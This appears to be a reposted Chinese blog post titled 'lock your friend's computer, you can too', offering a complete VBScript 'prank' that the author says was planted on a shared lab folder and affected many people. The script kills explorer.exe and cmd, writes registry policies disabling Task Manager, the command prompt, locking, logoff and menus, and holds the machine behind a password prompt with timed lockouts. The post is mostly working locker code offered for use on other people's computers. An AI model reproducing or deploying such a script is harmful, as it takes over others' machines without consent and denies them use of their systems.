[VBS小程序]锁住朋友的电脑,你也可以!

Posted byhblog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[VBS小程序]锁住朋友的电脑,你也可以!相关的知识,希望对你有一定的参考价值。

最近我写了一个VBS小程序,并放在机房的共享里,结果许多人深受其害。。。

功能

  1. 关闭explorer.exe,使系统界面“崩溃”

  2. 修改注册表,使得Win + L锁定(切换用户)、Ctrl + Alt + Del进安全模式、任务管理器和关机指令被禁用。

  3. 调用inputBox命令,询问密码,只有密码正确才会打开explorer.exe并恢复注册表

代码

Set shell = CreateObject("wscript.shell")
 
Dim key, password, maxin, waits, weight, high, tip
tip = "*********"                '这个是密码提示,双引号里面的值可以改
key = ""
password = "123456789"       '这个是密码,引号里面的值也可以改
maxin = 5                           '最多输错几次
waits = 300                       '输错maxin次后,锁定的秒数
 
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",02,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",01,"REG_DWORD"
 
shell.run "cmd Command /k taskkill /f /im cmd.exe /t"
 
shell.run "taskkill /f /im explorer.exe"

do


For i = 1 To maxin
key = InputBox("您的系统已经被锁定,请输入密码解锁", "系统锁定", tip)
If key = password Then
MsgBox "系统已解锁"
 
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",0,"REG_DWORD"
 
shell.run "explorer.exe"
shell.run "taskkill /f /im wscript.exe"
ElseIf key = tip Then
MsgBox "密码不能为空!"
i = i - 1
ElseIf key = "" Then
MsgBox "密码不能为空!"
i = i - 1
Else
MsgBox "密码错误,您还有 " & maxin - i & " 次机会"
End If
Next
 
For i = 0 To waits-1
shell.popup "请在 " & waits-i & " 秒后输入密码...", 1, "密码输入过于频繁"
Next

loop

以上是关于[VBS小程序]锁住朋友的电脑,你也可以!的主要内容,如果未能解决你的问题,请参考以下文章

我电脑里面的一个小程序不见了

微信小程序在电脑打开

千万不要用你朋友电脑运行这几个小程序,纯属娱乐,整蛊专用

微信小程序+OLAMI(欧拉蜜)自然语言API接口制作智能查询工具--快递聊天日历等

微信在电脑端下拉会刷新

微信电脑版怎么开启小程序功能